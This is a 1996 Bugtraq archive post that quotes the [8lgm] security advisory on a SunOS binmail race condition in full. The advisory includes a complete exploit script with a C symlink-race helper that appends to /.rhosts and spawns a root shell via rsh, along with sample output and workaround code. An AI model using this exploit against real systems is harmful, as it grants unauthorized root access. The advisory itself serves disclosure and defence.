Bugtraq mailing list archives

Re: Solaris mailx hole


From: andy () bigdog fred net (Andy Dills)
Date: Tue, 2 Jul 1996 01:08:49 -0400


On Mon, 1 Jul 1996, Marc Mosko/jfrank/us wrote:

Today, someone told me that there's a security hold in Solaris 2.3's mailx
program.  They didn't have all the details, but said that by creating a "temp"
file they could link to an ".rhosts" file and then rlogin as root on the target
machine.  Somehow this involved mailx.  This sound a bit like the race
condition hack for ps....

On my systems (Solaris 2.3) mailx is "r-x--s--x bin mail".  The machines this
worked on were 2.5, but as I said I don't have any real details.

Has anyone heard of this?

Thanks,
Marc Mosko


It's a very very old hole in /bin/mail that allows race conditions in
which .rhosts files can be created...

I would have thought this was fixed by 2.5, but it wasn't. My boss just a
few minutes ago exploited it on a sol2.5 machine.

*sigh*


Read on below:

Andy

Article: 4125 of comp.security.unix
Newsgroups: comp.security.unix
From: 8lgm () legless demon co uk ("[8lgm] Security Team")
Path: news.tamu.edu!cs.utexas.edu!howland.reston.ans.net!pipex!uknet!demon!legless.demon.co.uk!8lgm
Subject: [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
Organization: [8lgm]
X-Newsreader: TIN [version 1.2 PL2]
Lines: 410
Date: Mon, 21 Mar 1994 05:18:17 +0000
Message-ID: <Cn01EI.1sr () legless demon co uk>
Sender: usenet () demon co uk

This advisory has been sent to:

        comp.security.unix
        INFOHAX                 <infohax-emergency () stormking com>
        BUGTRAQ                 <bugtraq () crimelab com>
        CERT/CC                 <cert () cert org>
        Sun Microsystems        <security-alert () sun com>

===========================================================================
                [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992


PROGRAM:

        binmail(1)        (/usr/bin/mail)

VULNERABLE OS's:

        SunOS 4.1.x

        (Possibly other platforms - see DISCUSSION)

DESCRIPTION:

        A race condition exists in binmail(1), which allows files to
        be created in arbitrary places on the filesystem.  These files
        can be owned by arbitrary (usually system) users.

IMPACT:

        Any user with access to binmail(1) can become root.

REPEAT BY:

        This example demonstrates how to become root on most affected
        machines by creating/appending-to root's .rhosts file.  Please
        do not do this unless you have permission.

        Create the following file, 'mailscript':

8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# Syntax: mailscript user target-file rsh-user
#
# This exploits a flaw in SunOS binmail(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1992 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin      export PATH
IFS=" "                          export IFS

PROG="`basename $0`"
SPOOLDIR="/var/spool/mail"

# Check args
if [ $# -ne 3 ]; then
        echo "Syntax: $PROG user target-file rsh-user"
        exit 1
fi
TARGET="$1"
TARGET_FILE="$2"
RSH_USER="$3"

# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
        echo "Sorry, this only works on SunOS"
        exit 1
fi

# Check user exists
grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
if [ $? -ne 0 ]; then
        echo "$PROG: Warning, $TARGET not in local passwd file"
        # We continue though, might be in the YP passwd file
fi

# Check target file
if [ -f $TARGET_FILE ]; then
        OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
        echo "$PROG: Warning, $TARGET_FILE already exists, appending"
else
        OLD_TARGET_LEN=0
fi

# Delete spool file if its a link, and we are able
if [ -h "$SPOOLDIR/$TARGET" ]; then
        rm -f "$SPOOLDIR/$TARGET"
        # Dont worry about errors, we catch it below
fi

# Check mail file
if [ -f "$SPOOLDIR/$TARGET" ]; then
        echo "$PROG: ${TARGET}'s mail file exists."
        exit 1
fi

# Make the race program
cat >mailrace.c << 'EOF'
#include <stdio.h>

main(argc,argv)
int argc;
char *argv[];
{
        if (argc != 3) {
                fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
                exit(1);
        }

        for (;;) {
                unlink(argv[1]);
                symlink(argv[2], argv[1]);
        }
}
EOF
cc -o mailrace mailrace.c

# Check we now have mailrace
if [ ! -x "mailrace" ]; then
        echo "$PROG: couldnt compile mailrace.c - check it out"
        exit 1
fi

# Start mailrace
./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
RACE_PID=$!

# Send mail to the user
NEW_TARGET_LEN=$OLD_TARGET_LEN
while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
        echo "Sending mail to $TARGET"
        echo "localhost $USER" | /bin/mail $TARGET
        sleep 10
        kill -STOP $RACE_PID
        rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
        if [ -f $SPOOLDIR/$TARGET ]; then
                echo "$PROG: Sorry, we lost the race - cant try again."
                kill -9 $RACE_PID
                exit 1
        fi
        kill -CONT $RACE_PID
        if [ -f "$TARGET_FILE" ]; then
                NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
        else
                NEW_TARGET_LEN=0
        fi
        if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
                echo "We drew the race that time, trying again"
        fi
done

# We won the race
kill -9 $RACE_PID
echo "We won the race, becoming $RSH_USER"
rsh localhost -l $RSH_USER sh -i
exit 0
8<--------------------------- cut here ----------------------------

        (Lines marked with > represent user input)

Check what root users are on the system:

      % grep :0: /etc/passwd
        root:*:0:1:Operator:/:/bin/csh
        sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
        sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
        +::0:0:::

We choose a user with UID 0, but without a /var/spool/mail/<username> file:

      % ls -l /var/spool/mail/sysdiag
        /var/spool/mail/sysdiag not found

Execute mailscript.  The user is sysdiag, the target file is /.rhosts, and
the user to rsh to on success is root:

      % chmod 700 mailscript
      % ./mailscript sysdiag /.rhosts root
        mailscript: Warning, /.rhosts already exists, appending
        Sending mail to sysdiag
        We won the race, becoming root
        ./mailscript: 11051 Killed
        #


DISCUSSION:

        This problem exists because /var/spool/mail is rwxrwxrwt. (Other
        systems have their spool dir rwxrwxr-x, and run their MUA's sgid
         mail).  Before it opens the mail file, binmail does an lstat(2)
        to check that it is not about to write to a linked file.  The
        intention is to prevent arbitrary files from being created or
        appended to.

        However, there exists a window of opportunity between lstat(2)
        and open(2); if a link is created after lstat, open will then
        follow the link.  This is not a straightforward task, as it is
        not possible to predict when to create the link.

        Therefore it is necessary to have a program (mailrace) which
        continually creates links and then removes them.  To exploit the
        window of opportunity, it is required that the link has been
        removed before the context switch for lstat, but exists for open.
        There are three possible outcomes for this race:-

        1) lstat finds a link - mail returned to sender.

        2) link does not exist for lstat, but does for open - file
           created - we win.

        3) link does not exist for lstat or open - mailbox created.
           In this case, it is not possible to remove the mailbox
           (as the stick bit is set on /var/spool/mail), so it is
           necessary to choose another target user.

        In tests, it would appear that the chances of 1) and 2)
        occurring are approximately equal, with the chance of 3) being
        somewhat lower.

        Please note that this vulnerability may exist on other
        platforms where the mail spool directory has mode 777 and
        /bin/mail is setuid root.


WORKAROUND & FIX:

        1. Contact your vendor for a patch.

        2. We have considered several potential workarounds for this
           vulnerability.  The ideal fix would be to remove global write
           access to the mail spool directory.  However, this is not
           possible as programs such as /bin/mail, /usr/ucb/Mail and
           elm require everyone to have write access.  Also it is not
           possible to, for example, change the group ownership of
           /var/spool/mail to mail and give /bin/mail and /usr/ucb/Mail
           setgid mail privilege, as they do not reset their group id
           before forking a shell.

           We have therefore decided that the following is the only
           viable method:

           i. Ensure that every user maintains a mailbox file.  The
              following program will create a mailbox for every user
              on the system, if one does not currently exist.

8<--------------------------- cut here ----------------------------
/*
 * makemailboxes.c
 *
 * Written 1994 by [8LGM]
 *
 * This program is part of a workaround for the SunOS 4.1.x /bin/mail
 * bug described in the 8LGM Advisory.  This program should be executed
 * as root, and will create a mailbox for each user that doesnt have one.
 * In order for this workaround to be effective, /usr/ucb/Mail also needs
 * to be wrapped with wrapper.c.
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <sys/file.h>
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>

#define MAIL_SPOOL_DIR "/var/spool/mail"

main(argc, argv)
int argc;
char *argv[];
{
        int    fd;
        char   path[MAXPATHLEN + 5];
        struct passwd *pw;

        umask(0);
        setpwent();
        while (pw = getpwent()) {
                sprintf(path, "%s/%s", MAIL_SPOOL_DIR, pw->pw_name);
                if (access(path, F_OK)) {
                        if ((fd = open(path,O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
                                perror("open");
                        else {
                                if (fchown(fd, pw->pw_uid, pw->pw_gid))
                                        perror("fchown");
                                close(fd);
                                printf("Created %s\n", path);
                        }
                }
        }
        endpwent();
        exit(0);
}
8<--------------------------- cut here ----------------------------

           ii. /usr/ucb/Mail removes the mailbox file if all mail has
               been read, and the user is not preserving the contents.
               Therefore, we would recommend using the following wrapper
               for Mail, which creates the user's mailbox if it has been
               removed.

8<--------------------------- cut here ----------------------------
/*
 * wrapper.c
 *
 * Written 1994 by [8LGM]
 *
 * This program is part of a workaround for the SunOS 4.1.x /bin/mail
 * bug described in the 8LGM Advisory.  Programs such as /usr/ucb/Mail
 * that will delete the user's mailbox when he/she has no mail need to
 * be wrapped with this.
 *
 * Install as follows:
 *
 *        # cc -O -o wrapper wrapper.c
 *        # mv /usr/ucb/Mail /usr/ucb/Mail.old
 *        # mv /usr/ucb/mail /usr/ucb/mail.old
 *        # cp wrapper /usr/ucb/Mail
 *        # chmod 755 /usr/ucb/Mail
 *        # ln /usr/ucb/Mail /usr/ucb/mail
 *
 * DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/param.h>
#include <sys/file.h>
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>

#define MAIL_SPOOL_DIR "/var/spool/mail"

main(argc, argv)
int argc;
char *argv[];
{
        pid_t  pid;
        int    status, fd;
        char   path[MAXPATHLEN + 5], *user;
        struct passwd *pw;

        if ((pid = fork()) == -1) {
                perror("fork");
                exit(1);
        }

        sprintf(path, "%s.old", argv[0]);
        if (pid == 0) {
                execvp(path, argv);
                perror("execvp");
                exit(1);
        }

        setuid(getuid());     /* Just in case we're suid,
                                 which we shouldnt be */
        if (waitpid(pid, &status, 0) == -1) {
                perror("waitpid");
                exit(1);
        }

        if ((user = (char*)getenv("USER")) == NULL) {
                if ((pw = getpwuid(getuid())) == NULL) {
                        fprintf(stderr, "Who are you?!");
                        exit(1);
                }
                user = pw->pw_name;
        }
        sprintf(path, "%s/%s", MAIL_SPOOL_DIR, user);
        if (access(path, F_OK)) {
                if ((fd = open(path, O_CREAT|O_EXCL|O_WRONLY, 0600)) < 0)
                        perror("open");
                else
                        close(fd);
        }
        exit(status);
}
8<--------------------------- cut here ----------------------------


FEEDBACK AND CONTACT INFORMATION:

        8lgm-bugs () bagpuss demon co uk           (To report security flaws)

        8lgm-request () bagpuss demon co uk        (Request for [8lgm] Advisories)

        8lgm () bagpuss demon co uk                (General enquiries)

        System Administrators are encouraged to contact us for any
        other information they may require about the problems described
        in this advisory.

        We welcome reports about which platforms this flaw does or does
        not exist on.


        NB: 8lgm-bugs () bagpuss demon co uk is intended to be used by
        people wishing to report which platforms/OS's the bugs in our
        advisories are present on.  Please do *not* send information on
        other bugs to this address - report them to your vendor and/or
        comp.security.unix instead.
===========================================================================






              -----/'[/'[/'[Andy Dills]'\]'\]'\-----
 "Founding member of the Frednet.Support"   Phear the big BEAVIS!
"_THIS_ is my BOOM stick!!!!"  --   That Guy from Army of Darkness
 Work:andy () fred net---------->(BOFH)<--------Play:andy () beavis net
        All things BSDish. If it's not BSDish, it's CRAP!
                Andy's Made Up Quote of The Week:
      "To understand solaris2.5, one must suffer and RTFM."



Current thread: